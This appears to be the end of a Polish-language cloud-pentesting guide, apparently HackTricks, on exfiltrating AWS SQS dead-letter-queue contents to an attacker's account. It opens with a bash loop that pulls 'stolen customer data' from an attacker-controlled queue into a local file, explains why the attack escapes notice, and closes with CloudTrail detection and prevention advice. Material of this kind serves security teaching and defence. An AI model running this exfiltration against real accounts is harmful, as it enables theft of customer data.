MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Uwagi dotyczące cross-account
|
||||
- Kolejka docelowa musi mieć politykę zasobów zezwalającą podmiotowi ofiary na `sqs:SendMessage` (oraz, jeśli używane, przyznania/uprawnienia KMS).
|
||||
|
||||
## Dlaczego ten atak jest skuteczny
|
||||
|
||||
1. **Wbudowana funkcja AWS**: Wykorzystuje wbudowaną funkcjonalność AWS, co utrudnia wykrycie jako złośliwe
|
||||
2. **Operacja masowa**: Przenosi tysiące wiadomości szybko zamiast powolnego pojedynczego dostępu
|
||||
3. **Dane historyczne**: DLQs gromadzą wrażliwe dane przez tygodnie/miesiące
|
||||
4. **Poza radarem**: Wiele organizacji nie monitoruje dostępu do DLQ dokładnie
|
||||
5. **Możliwość cross-account**: Może exfiltrate do własnego konta AWS atakującego, jeśli uprawnienia na to pozwalają
|
||||
|
||||
## Wykrywanie i zapobieganie
|
||||
|
||||
### Wykrywanie
|
||||
Monitoruj CloudTrail pod kątem podejrzanych wywołań API `StartMessageMoveTask`:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
"sourceIPAddress": "suspicious-ip",
|
||||
"userIdentity": {
|
||||
"type": "IAMUser",
|
||||
"userName": "compromised-user"
|
||||
},
|
||||
"requestParameters": {
|
||||
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
|
||||
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
|
||||
}
|
||||
}
|
||||
```
|
||||
### Zapobieganie
|
||||
1. **Zasada najmniejszych uprawnień**: Ogranicz uprawnienia `sqs:StartMessageMoveTask` tylko do niezbędnych ról
|
||||
2. **Monitoruj DLQs**: Skonfiguruj alarmy CloudWatch dla nietypowej aktywności DLQs
|
||||
3. **Polityki cross-account**: Dokładnie sprawdź polityki kolejek SQS zezwalające na dostęp cross-account
|
||||
4. **Szyfruj DLQs**: Użyj SSE-KMS z restrykcyjnymi politykami kluczy
|
||||
5. **Regularne czyszczenie**: Nie pozwól, aby wrażliwe dane gromadziły się w DLQs bezterminowo
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user